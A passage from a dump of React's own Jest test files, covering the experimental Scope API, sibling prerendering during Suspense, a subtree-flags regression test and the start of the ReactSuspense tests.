expect(node).toEqual(aRef.current);\n      await act(() => {\n        root.render(null);\n      });\n\n      expect(scopeRef.current).toBe(null);\n    });\n\n    // @gate enableScopeAPI\n    it('containsNode() works as intended', async () => {\n      const TestScope = React.unstable_Scope;\n      const scopeRef = React.createRef();\n      const divRef = React.createRef();\n      const spanRef = React.createRef();\n      const aRef = React.createRef();\n      const outerSpan = React.createRef();\n      const emRef = React.createRef();\n\n      function Test({toggle}) {\n        return toggle ? (\n          <div>\n            <span ref={outerSpan}>SPAN</span>\n            <TestScope ref={scopeRef}>\n              <div ref={divRef}>DIV</div>\n              <span ref={spanRef}>SPAN</span>\n              <a ref={aRef}>A</a>\n            </TestScope>\n            <em ref={emRef}>EM</em>\n          </div>\n        ) : (\n          <div>\n            <TestScope ref={scopeRef}>\n              <a ref={aRef}>A</a>\n              <div ref={divRef}>DIV</div>\n              <span ref={spanRef}>SPAN</span>\n              <em ref={emRef}>EM</em>\n            </TestScope>\n            <span ref={outerSpan}>SPAN</span>\n          </div>\n        );\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Test toggle={true} />);\n      });\n\n      expect(scopeRef.current.containsNode(divRef.current)).toBe(true);\n      expect(scopeRef.current.containsNode(spanRef.current)).toBe(true);\n      expect(scopeRef.current.containsNode(aRef.current)).toBe(true);\n      expect(scopeRef.current.containsNode(outerSpan.current)).toBe(false);\n      expect(scopeRef.current.containsNode(emRef.current)).toBe(false);\n      await act(() => {\n        root.render(<Test toggle={false} />);\n      });\n\n      expect(scopeRef.current.containsNode(divRef.current)).toBe(true);\n      expect(scopeRef.current.containsNode(spanRef.current)).toBe(true);\n      expect(scopeRef.current.containsNode(aRef.current)).toBe(true);\n      expect(scopeRef.current.containsNode(outerSpan.current)).toBe(false);\n      expect(scopeRef.current.containsNode(emRef.current)).toBe(true);\n      await act(() => {\n        root.render(<Test toggle={true} />);\n      });\n\n      expect(scopeRef.current.containsNode(emRef.current)).toBe(false);\n    });\n\n    // @gate enableScopeAPI\n    it('scopes support server-side rendering and hydration', async () => {\n      const TestScope = React.unstable_Scope;\n      const scopeRef = React.createRef();\n      const divRef = React.createRef();\n      const spanRef = React.createRef();\n      const aRef = React.createRef();\n\n      function Test({toggle}) {\n        return (\n          <div>\n            <TestScope ref={scopeRef}>\n              <div ref={divRef}>DIV</div>\n              <span ref={spanRef}>SPAN</span>\n              <a ref={aRef}>A</a>\n            </TestScope>\n            <div>Outside content!</div>\n          </div>\n        );\n      }\n      const html = ReactDOMServer.renderToString(<Test />);\n      expect(html).toBe(\n        '<div><div>DIV</div><span>SPAN</span><a>A</a><div>Outside content!</div></div>',\n      );\n      container.innerHTML = html;\n      await act(() => {\n        ReactDOMClient.hydrateRoot(container, <Test />);\n      });\n      const testScopeQuery = (type, props) => true;\n      const nodes = scopeRef.current.DO_NOT_USE_queryAllNodes(testScopeQuery);\n      expect(nodes).toEqual([divRef.current, spanRef.current, aRef.current]);\n    });\n\n    // @gate enableScopeAPI\n    it('getChildContextValues() works as intended', async () => {\n      const TestContext = React.createContext();\n      const TestScope = React.unstable_Scope;\n      const scopeRef = React.createRef();\n\n      function Test({toggle}) {\n        return toggle ? (\n          <TestScope ref={scopeRef}>\n            <TestContext.Provider value={1} />\n          </TestScope>\n        ) : (\n          <TestScope ref={scopeRef}>\n            <TestContext.Provider value={1} />\n            <TestContext.Provider value={2} />\n          </TestScope>\n        );\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Test toggle={true} />);\n      });\n\n      let nodes = scopeRef.current.getChildContextValues(TestContext);\n      expect(nodes).toEqual([1]);\n      await act(() => {\n        root.render(<Test toggle={false} />);\n      });\n\n      nodes = scopeRef.current.getChildContextValues(TestContext);\n      expect(nodes).toEqual([1, 2]);\n      await act(() => {\n        root.render(null);\n      });\n\n      expect(scopeRef.current).toBe(null);\n    });\n\n    // @gate enableScopeAPI\n    it('correctly works with suspended boundaries that are hydrated', async () => {\n      let suspend = false;\n      let resolve;\n      const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n      const ref = React.createRef();\n      const TestScope = React.unstable_Scope;\n      const scopeRef = React.createRef();\n      const testScopeQuery = (type, props) => true;\n\n      function Child() {\n        if (suspend) {\n          throw promise;\n        } else {\n          return 'Hello';\n        }\n      }\n\n      function App() {\n        return (\n          <div>\n            <TestScope ref={scopeRef}>\n              <React.Suspense fallback=\"Loading...\">\n                <span ref={ref}>\n                  <Child />\n                </span>\n              </React.Suspense>\n            </TestScope>\n          </div>\n        );\n      }\n\n      // First we render the final HTML. With the streaming renderer\n      // this may have suspense points on the server but here we want\n      // to test the completed HTML. Don't suspend on the server.\n      suspend = false;\n      const finalHTML = ReactDOMServer.renderToString(<App />);\n\n      const container2 = document.createElement('div');\n      container2.innerHTML = finalHTML;\n\n      const span = container2.getElementsByTagName('span')[0];\n\n      // On the client we don't have all data yet but we want to start\n      // hydrating anyway.\n      suspend = true;\n      await act(() => ReactDOMClient.hydrateRoot(container2, <App />));\n\n      // This should not cause a runtime exception, see:\n      // https://github.com/facebook/react/pull/18184\n      scopeRef.current.DO_NOT_USE_queryAllNodes(testScopeQuery);\n      expect(ref.current).toBe(null);\n\n      // Resolving the promise should continue hydration\n      suspend = false;\n      await act(async () => {\n        resolve();\n        await promise;\n      });\n\n      // We should now have hydrated with a ref on the existing span.\n      expect(ref.current).toBe(span);\n    });\n  });\n\n  describe('ReactTestRenderer', () => {\n    let ReactTestRenderer;\n\n    beforeEach(() => {\n      ReactTestRenderer = require('react-test-renderer');\n    });\n\n    // @gate enableScopeAPI\n    it('DO_NOT_USE_queryAllNodes() works as intended', async () => {\n      const testScopeQuery = (type, props) => true;\n      const TestScope = React.unstable_Scope;\n      const scopeRef = React.createRef();\n      const divRef = React.createRef();\n      const spanRef = React.createRef();\n      const aRef = React.createRef();\n\n      function Test({toggle}) {\n        return toggle ? (\n          <TestScope ref={scopeRef}>\n            <div ref={divRef}>DIV</div>\n            <span ref={spanRef}>SPAN</span>\n            <a ref={aRef}>A</a>\n          </TestScope>\n        ) : (\n          <TestScope ref={scopeRef}>\n            <a ref={aRef}>A</a>\n            <div ref={divRef}>DIV</div>\n            <span ref={spanRef}>SPAN</span>\n          </TestScope>\n        );\n      }\n\n      let renderer;\n      await act(\n        () =>\n          (renderer = ReactTestRenderer.create(<Test toggle={true} />, {\n            createNodeMock: element => {\n              return element;\n            },\n            unstable_isConcurrent: true,\n          })),\n      );\n      let nodes = scopeRef.current.DO_NOT_USE_queryAllNodes(testScopeQuery);\n      expect(nodes).toEqual([divRef.current, spanRef.current, aRef.current]);\n      await act(() => renderer.update(<Test toggle={false} />));\n      nodes = scopeRef.current.DO_NOT_USE_queryAllNodes(testScopeQuery);\n      expect(nodes).toEqual([aRef.current, divRef.current, spanRef.current]);\n    });\n\n    // @gate enableScopeAPI\n    it('DO_NOT_USE_queryFirstNode() works as intended', async () => {\n      const testScopeQuery = (type, props) => true;\n      const TestScope = React.unstable_Scope;\n      const scopeRef = React.createRef();\n      const divRef = React.createRef();\n      const spanRef = React.createRef();\n      const aRef = React.createRef();\n\n      function Test({toggle}) {\n        return toggle ? (\n          <TestScope ref={scopeRef}>\n            <div ref={divRef}>DIV</div>\n            <span ref={spanRef}>SPAN</span>\n            <a ref={aRef}>A</a>\n          </TestScope>\n        ) : (\n          <TestScope ref={scopeRef}>\n            <a ref={aRef}>A</a>\n            <div ref={divRef}>DIV</div>\n            <span ref={spanRef}>SPAN</span>\n          </TestScope>\n        );\n      }\n\n      let renderer;\n      await act(\n        () =>\n          (renderer = ReactTestRenderer.create(<Test toggle={true} />, {\n            createNodeMock: element => {\n              return element;\n            },\n            unstable_isConcurrent: true,\n          })),\n      );\n      let node = scopeRef.current.DO_NOT_USE_queryFirstNode(testScopeQuery);\n      expect(node).toEqual(divRef.current);\n      await act(() => renderer.update(<Test toggle={false} />));\n\n      node = scopeRef.current.DO_NOT_USE_queryFirstNode(testScopeQuery);\n      expect(node).toEqual(aRef.current);\n    });\n\n    // @gate enableScopeAPI\n    it('containsNode() works as intended', async () => {\n      const TestScope = React.unstable_Scope;\n      const scopeRef = React.createRef();\n      const divRef = React.createRef();\n      const spanRef = React.createRef();\n      const aRef = React.createRef();\n      const outerSpan = React.createRef();\n      const emRef = React.createRef();\n\n      function Test({toggle}) {\n        return toggle ? (\n          <div>\n            <span ref={outerSpan}>SPAN</span>\n            <TestScope ref={scopeRef}>\n              <div ref={divRef}>DIV</div>\n              <span ref={spanRef}>SPAN</span>\n              <a ref={aRef}>A</a>\n            </TestScope>\n            <em ref={emRef}>EM</em>\n          </div>\n        ) : (\n          <div>\n            <TestScope ref={scopeRef}>\n              <a ref={aRef}>A</a>\n              <div ref={divRef}>DIV</div>\n              <span ref={spanRef}>SPAN</span>\n              <em ref={emRef}>EM</em>\n            </TestScope>\n            <span ref={outerSpan}>SPAN</span>\n          </div>\n        );\n      }\n\n      let renderer;\n      await act(\n        () =>\n          (renderer = ReactTestRenderer.create(<Test toggle={true} />, {\n            createNodeMock: element => {\n              return element;\n            },\n            unstable_isConcurrent: true,\n          })),\n      );\n      expect(scopeRef.current.containsNode(divRef.current)).toBe(true);\n      expect(scopeRef.current.containsNode(spanRef.current)).toBe(true);\n      expect(scopeRef.current.containsNode(aRef.current)).toBe(true);\n      expect(scopeRef.current.containsNode(outerSpan.current)).toBe(false);\n      expect(scopeRef.current.containsNode(emRef.current)).toBe(false);\n      await act(() => renderer.update(<Test toggle={false} />));\n      expect(scopeRef.current.containsNode(divRef.current)).toBe(true);\n      expect(scopeRef.current.containsNode(spanRef.current)).toBe(true);\n      expect(scopeRef.current.containsNode(aRef.current)).toBe(true);\n      expect(scopeRef.current.containsNode(outerSpan.current)).toBe(false);\n      expect(scopeRef.current.containsNode(emRef.current)).toBe(true);\n      await act(() => renderer.update(<Test toggle={true} />));\n      expect(scopeRef.current.containsNode(emRef.current)).toBe(false);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactSiblingPrerendering-test.js",
    "content": "let React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet assertLog;\nlet waitFor;\nlet waitForPaint;\nlet waitForAll;\nlet textCache;\nlet startTransition;\nlet Suspense;\nlet Activity;\n\ndescribe('ReactSiblingPrerendering', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    assertLog = require('internal-test-utils').assertLog;\n    waitFor = require('internal-test-utils').waitFor;\n    waitForPaint = require('internal-test-utils').waitForPaint;\n    waitForAll = require('internal-test-utils').waitForAll;\n    startTransition = React.startTransition;\n    Suspense = React.Suspense;\n    Activity = React.Activity;\n\n    textCache = new Map();\n  });\n\n  function resolveText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'resolved',\n        value: text,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'resolved';\n      record.value = text;\n      thenable.pings.forEach(t => t());\n    }\n  }\n\n  function readText(text) {\n    const record = textCache.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          throw record.value;\n        case 'rejected':\n          throw record.value;\n        case 'resolved':\n          return record.value;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  // function getText(text) {\n  //   const record = textCache.get(text);\n  //   if (record === undefined) {\n  //     const thenable = {\n  //       pings: [],\n  //       then(resolve) {\n  //         if (newRecord.status === 'pending') {\n  //           thenable.pings.push(resolve);\n  //         } else {\n  //           Promise.resolve().then(() => resolve(newRecord.value));\n  //         }\n  //       },\n  //     };\n  //     const newRecord = {\n  //       status: 'pending',\n  //       value: thenable,\n  //     };\n  //     textCache.set(text, newRecord);\n  //     return thenable;\n  //   } else {\n  //     switch (record.status) {\n  //       case 'pending':\n  //         return record.value;\n  //       case 'rejected':\n  //         return Promise.reject(record.value);\n  //       case 'resolved':\n  //         return Promise.resolve(record.value);\n  //     }\n  //   }\n  // }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function AsyncText({text}) {\n    readText(text);\n    Scheduler.log(text);\n    return text;\n  }\n\n  it(\"don't prerender siblings when something errors\", async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return <Text text={this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    function Oops() {\n      throw new Error('Oops!');\n    }\n\n    function App() {\n      return (\n        <>\n          <div>\n            <ErrorBoundary>\n              <Oops />\n              <AsyncText text=\"A\" />\n            </ErrorBoundary>\n          </div>\n          <div>\n            <AsyncText text=\"B\" />\n            <AsyncText text=\"C\" />\n          </div>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => startTransition(() => root.render(<App />)));\n    assertLog([\n      'Oops!',\n\n      // A is skipped because we don't prerender siblings when\n      // something errors.\n\n      'Suspend! [B]',\n\n      // After B suspends, we're still able to prerender C without starting\n      // over because there's no fallback, so the root is blocked from\n      // committing anyway.\n      'Suspend! [C]',\n    ]);\n  });\n\n  it(\"don't skip siblings when rendering inside a hidden tree\", async () => {\n    function App() {\n      return (\n        <>\n          <Text text=\"A\" />\n          <Activity mode=\"hidden\">\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <AsyncText text=\"B\" />\n              <AsyncText text=\"C\" />\n            </Suspense>\n          </Activity>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      startTransition(async () => root.render(<App />));\n\n      // The first render includes only the visible part of the tree. The\n      // hidden content is deferred until later.\n      await waitForPaint(['A']);\n      expect(root).toMatchRenderedOutput('A');\n\n      if (gate(flags => flags.enableYieldingBeforePassive)) {\n        // Passive effects.\n        await waitForPaint([]);\n      }\n      // The second render is a prerender of the hidden content.\n      await waitForPaint([\n        'Suspend! [B]',\n        // If B and C were visible, C would not have been attempted\n        // during this pass, because it would prevented the fallback\n        // from showing.\n        'Suspend! [C]',\n        'Loading...',\n      ]);\n      expect(root).toMatchRenderedOutput('A');\n    });\n  });\n\n  it('start prerendering retries right after the fallback commits', async () => {\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText text=\"A\" />\n          <AsyncText text=\"B\" />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      startTransition(() => root.render(<App />));\n\n      // On the first attempt, A suspends. Unwind and show a fallback, without\n      // attempting B.\n      await waitForPaint(['Suspend! [A]', 'Loading...']);\n      expect(root).toMatchRenderedOutput('Loading...');\n\n      // Immediately after the fallback commits, retry the boundary again. This\n      // time we include B, since we're not blocking the fallback from showing.\n      if (gate(flags => flags.enableYieldingBeforePassive)) {\n        // Passive effects.\n        await waitForPaint([]);\n      }\n      await waitForPaint(['Suspend! [A]', 'Suspend! [B]']);\n    });\n    expect(root).toMatchRenderedOutput('Loading...');\n  });\n\n  it('switch back to normal rendering mode if a ping occurs during prerendering', async () => {\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<Text text=\"Loading outer...\" />}>\n            <div>\n              <Text text=\"A\" />\n              <AsyncText text=\"B\" />\n            </div>\n            <div>\n              <Suspense fallback={<Text text=\"Loading inner...\" />}>\n                <AsyncText text=\"C\" />\n                <AsyncText text=\"D\" />\n              </Suspense>\n            </div>\n          </Suspense>\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      startTransition(() => root.render(<App />));\n\n      // On the first attempt, B suspends. Unwind and show a fallback, without\n      // attempting the siblings.\n      await waitForPaint(['A', 'Suspend! [B]', 'Loading outer...']);\n      expect(root).toMatchRenderedOutput(<div>Loading outer...</div>);\n\n      // Now that the fallback is visible, we can prerender the siblings. Start\n      // prerendering, then yield to simulate an interleaved event.\n      await waitFor(['A']);\n\n      // To avoid the Suspense throttling mechanism, let's pretend there's been\n      // more than a Just Noticeable Difference since we rendered the\n      // outer fallback.\n      Scheduler.unstable_advanceTime(500);\n\n      // During the render phase, but before we get to B again, resolve its\n      // promise. We should re-enter normal rendering mode, but we also\n      // shouldn't unwind and lose our work-in-progress.\n      await resolveText('B');\n      await waitForPaint([\n        'B',\n        'Suspend! [C]',\n\n        // If we were still in prerendering mode, then we would have attempted\n        // to render D here. But since we received new data, we will skip the\n        // remaining siblings to unblock the inner fallback.\n        'Loading inner...',\n      ]);\n\n      expect(root).toMatchRenderedOutput(\n        <div>\n          <div>AB</div>\n          <div>Loading inner...</div>\n        </div>,\n      );\n    });\n\n    // Now that the inner fallback is showing, we can prerender the rest of\n    // the tree.\n    assertLog([\n      // NOTE: C renders twice instead of once because when B resolved, it\n      // was treated like a retry update, not just a ping. So first it\n      // regular renders, then it prerenders. TODO: We should be able to\n      // optimize this by detecting inside the retry listener that the\n      // outer boundary is no longer suspended, and therefore doesn't need\n      // to be updated.\n      'Suspend! [C]',\n\n      // Now we're in prerender mode, so D is incuded in this attempt.\n      'Suspend! [C]',\n      'Suspend! [D]',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <div>\n        <div>AB</div>\n        <div>Loading inner...</div>\n      </div>,\n    );\n  });\n\n  it(\"don't throw out completed work in order to prerender\", async () => {\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<Text text=\"Loading outer...\" />}>\n            <div>\n              <AsyncText text=\"A\" />\n            </div>\n            <div>\n              <Suspense fallback={<Text text=\"Loading inner...\" />}>\n                <AsyncText text=\"B\" />\n                <AsyncText text=\"C\" />\n              </Suspense>\n            </div>\n          </Suspense>\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      startTransition(() => root.render(<App />));\n\n      await waitForPaint(['Suspend! [A]', 'Loading outer...']);\n      expect(root).toMatchRenderedOutput(<div>Loading outer...</div>);\n\n      // Before the prerendering of the inner boundary starts, the data for A\n      // resolves, so we try rendering that again.\n      await resolveText('A');\n      // This produces a new tree that we can show. However, the commit phase\n      // is throttled because it's been less than a Just Noticeable Difference\n      // since the outer fallback was committed.\n      //\n      // In the meantime, we could choose to start prerendering C, but instead\n      // we wait for a JND to elapse and the commit to finish — it's not\n      // worth discarding the work we've already done.\n      await waitForAll([\n        'A',\n        'Suspend! [B]',\n\n        // C is skipped because we're no longer in prerendering mode; there's\n        // a new fallback we can show.\n        'Loading inner...',\n      ]);\n      expect(root).toMatchRenderedOutput(<div>Loading outer...</div>);\n\n      // Fire the timer to commit the outer fallback.\n      jest.runAllTimers();\n      expect(root).toMatchRenderedOutput(\n        <div>\n          <div>A</div>\n          <div>Loading inner...</div>\n        </div>,\n      );\n    });\n    // Once the inner fallback is committed, we can start prerendering C.\n    assertLog(['Suspend! [B]', 'Suspend! [C]']);\n  });\n\n  it(\n    \"don't skip siblings during the retry if there was a ping since the \" +\n      'first attempt',\n    async () => {\n      function App() {\n        return (\n          <>\n            <div>\n              <Suspense fallback={<Text text=\"Loading outer...\" />}>\n                <div>\n                  <AsyncText text=\"A\" />\n                </div>\n                <div>\n                  <Suspense fallback={<Text text=\"Loading inner...\" />}>\n                    <AsyncText text=\"B\" />\n                    <AsyncText text=\"C\" />\n                  </Suspense>\n                </div>\n              </Suspense>\n            </div>\n            <div>\n              <Text text=\"D\" />\n            </div>\n          </>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(async () => {\n        startTransition(() => root.render(<App />));\n\n        // On the first attempt, A suspends. Unwind and show a fallback, without\n        // attempting B or C.\n        await waitFor([\n          'Suspend! [A]',\n          'Loading outer...',\n\n          // Yield to simulate an interleaved event\n        ]);\n\n        // Ping the promise for A before the render phase has finished, as might\n        // happen in an interleaved network event\n        await resolveText('A');\n\n        // Now continue rendering the rest of the tree.\n        await waitForPaint(['D']);\n        expect(root).toMatchRenderedOutput(\n          <>\n            <div>Loading outer...</div>\n            <div>D</div>\n          </>,\n        );\n\n        if (gate(flags => flags.enableYieldingBeforePassive)) {\n          // Passive effects.\n          await waitForPaint([]);\n        }\n        // Immediately after the fallback commits, retry the boundary again.\n        // Because the promise for A resolved, this is a normal render, _not_\n        // a prerender. So when we proceed to B, and B suspends, we unwind again\n        // without attempting C. The practical benefit of this is that we don't\n        // block the inner Suspense fallback from appearing.\n        await waitForPaint(['A', 'Suspend! [B]', 'Loading inner...']);\n        // (Since this is a retry, the commit phase is throttled by a timer.)\n        jest.runAllTimers();\n        // The inner fallback is now visible.\n        expect(root).toMatchRenderedOutput(\n          <>\n            <div>\n              <div>A</div>\n              <div>Loading inner...</div>\n            </div>\n            <div>D</div>\n          </>,\n        );\n\n        if (gate(flags => flags.enableYieldingBeforePassive)) {\n          // Passive effects.\n          await waitForPaint([]);\n        }\n        // Now we can proceed to prerendering C.\n        await waitForPaint(['Suspend! [B]', 'Suspend! [C]']);\n      });\n      assertLog([]);\n    },\n  );\n\n  it(\n    'when a synchronous update suspends outside a boundary, the resulting' +\n      'prerender is concurrent',\n    async () => {\n      function App() {\n        return (\n          <>\n            <Text text=\"A\" />\n            <Text text=\"B\" />\n            <AsyncText text=\"Async\" />\n            <Text text=\"C\" />\n            <Text text=\"D\" />\n          </>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      // Mount the root synchronously\n      ReactNoop.flushSync(() => root.render(<App />));\n\n      // Synchronously render everything until we suspend in the shell\n      assertLog(['A', 'B', 'Suspend! [Async]']);\n\n      // The rest of the siblings begin to prerender concurrently. Notice\n      // that we don't unwind here; we pick up where we left off above.\n      await waitFor(['C']);\n      await waitFor(['D']);\n\n      assertLog([]);\n      expect(root).toMatchRenderedOutput(null);\n\n      await resolveText('Async');\n      assertLog(['A', 'B', 'Async', 'C', 'D']);\n      expect(root).toMatchRenderedOutput('ABAsyncCD');\n    },\n  );\n\n  it('restart a suspended sync render if something suspends while prerendering the siblings', async () => {\n    function App() {\n      return (\n        <>\n          <Text text=\"A\" />\n          <Text text=\"B\" />\n          <AsyncText text=\"Async\" />\n          <Text text=\"C\" />\n          <Text text=\"D\" />\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    // Mount the root synchronously\n    ReactNoop.flushSync(() => root.render(<App />));\n\n    // Synchronously render everything until we suspend in the shell\n    assertLog(['A', 'B', 'Suspend! [Async]']);\n\n    // The rest of the siblings begin to prerender concurrently\n    await waitFor(['C']);\n\n    // While we're prerendering, Async resolves. We should unwind and\n    // start over, rather than continue prerendering D.\n    await resolveText('Async');\n    assertLog(['A', 'B', 'Async', 'C', 'D']);\n    expect(root).toMatchRenderedOutput('ABAsyncCD');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactSubtreeFlagsWarning-test.js",
    "content": "let React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet Suspense;\nlet useEffect;\nlet getCacheForType;\n\nlet caches;\nlet seededCache;\nlet assertLog;\n\ndescribe('ReactSuspenseWithNoopRenderer', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    Suspense = React.Suspense;\n    useEffect = React.useEffect;\n\n    getCacheForType = React.unstable_getCacheForType;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n\n    caches = [];\n    seededCache = null;\n  });\n\n  function createTextCache() {\n    if (seededCache !== null) {\n      // Trick to seed a cache before it exists.\n      // TODO: Need a built-in API to seed data before the initial render (i.e.\n      // not a refresh because nothing has mounted yet).\n      const cache = seededCache;\n      seededCache = null;\n      return cache;\n    }\n\n    const data = new Map();\n    const version = caches.length + 1;\n    const cache = {\n      version,\n      data,\n      resolve(text) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'resolved',\n            value: text,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'resolved';\n          record.value = text;\n          thenable.pings.forEach(t => t());\n        }\n      },\n      reject(text, error) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'rejected',\n            value: error,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'rejected';\n          record.value = error;\n          thenable.pings.forEach(t => t());\n        }\n      },\n    };\n    caches.push(cache);\n    return cache;\n  }\n\n  function readText(text) {\n    const textCache = getCacheForType(createTextCache);\n    const record = textCache.data.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          throw record.value;\n        case 'rejected':\n          Scheduler.log(`Error! [${text}]`);\n          throw record.value;\n        case 'resolved':\n          return textCache.version;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.data.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function resolveMostRecentTextCache(text) {\n    if (caches.length === 0) {\n      throw Error('Cache does not exist.');\n    } else {\n      // Resolve the most recently created cache. An older cache can by\n      // resolved with `caches[index].resolve(text)`.\n      caches[caches.length - 1].resolve(text);\n    }\n  }\n\n  const resolveText = resolveMostRecentTextCache;\n\n  // @gate enableLegacyCache && !disableLegacyMode\n  it('regression: false positive for legacy suspense', async () => {\n    const Child = ({text}) => {\n      // If text hasn't resolved, this will throw and exit before the passive\n      // static effect flag is added by the useEffect call below.\n      readText(text);\n\n      useEffect(() => {\n        Scheduler.log('Effect');\n      }, []);\n\n      Scheduler.log(text);\n      return text;\n    };\n\n    function App() {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <Child text=\"Async\" />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createLegacyRoot(null);\n\n    // On initial mount, the suspended component is committed in an incomplete\n    // state, without a passive static effect flag.\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['Suspend! [Async]']);\n    expect(root).toMatchRenderedOutput('Loading...');\n\n    // When the promise resolves, a passive static effect flag is added. In the\n    // regression, the \"missing expected static flag\" would fire, because the\n    // previous fiber did not have one.\n    await act(() => {\n      resolveText('Async');\n    });\n    assertLog(['Async', 'Effect']);\n    expect(root).toMatchRenderedOutput('Async');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactSuspense-test.internal.js",
    "content": "let React;\nlet ReactDOMClient;\nlet ReactDOM;\nlet Scheduler;\nlet Suspense;\nlet act;\nlet textCache;\nlet container;\n\nlet assertLog;\nlet waitForPaint;\nlet waitForAll;\nlet waitFor;\n\ndescribe('ReactSuspense', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    Scheduler = require('scheduler');\n    container = document.createElement('div');\n\n    Suspense = React.Suspense;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitForPaint = InternalTestUtils.waitForPaint;\n    assertLog = InternalTestUtils.assertLog;\n    waitFor = InternalTestUtils.waitFor;\n\n    textCache = new Map();\n  });\n\n  function resolveText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'resolved',\n        value: text,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'resolved';\n      record.value = text;\n      thenable.pings.forEach(t => t());\n    }\n  }\n\n  function readText(text) {\n    const record = textCache.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          throw record.value;\n        case 'rejected':\n          throw record.value;\n        case 'resolved':\n          return record.value;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function AsyncText({text}) {\n    readText(text);\n    Scheduler.log(text);\n    return text;\n  }\n\n  it('suspends rendering and continues later', async () => {\n    function Bar(props) {\n      Scheduler.log('Bar');\n      return props.children;\n    }\n\n    function Foo({renderBar}) {\n      Scheduler.log('Foo');\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          {renderBar ? (\n            <Bar>\n              <AsyncText text=\"A\" />\n              <Text text=\"B\" />\n            </Bar>\n          ) : null}\n        </Suspense>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    // Render an empty shell\n    await act(() => {\n      root.render(<Foo />);\n    });\n    assertLog(['Foo']);\n    const renderedEl = container;\n    expect(renderedEl.innerText).toBeUndefined();\n\n    // Navigate 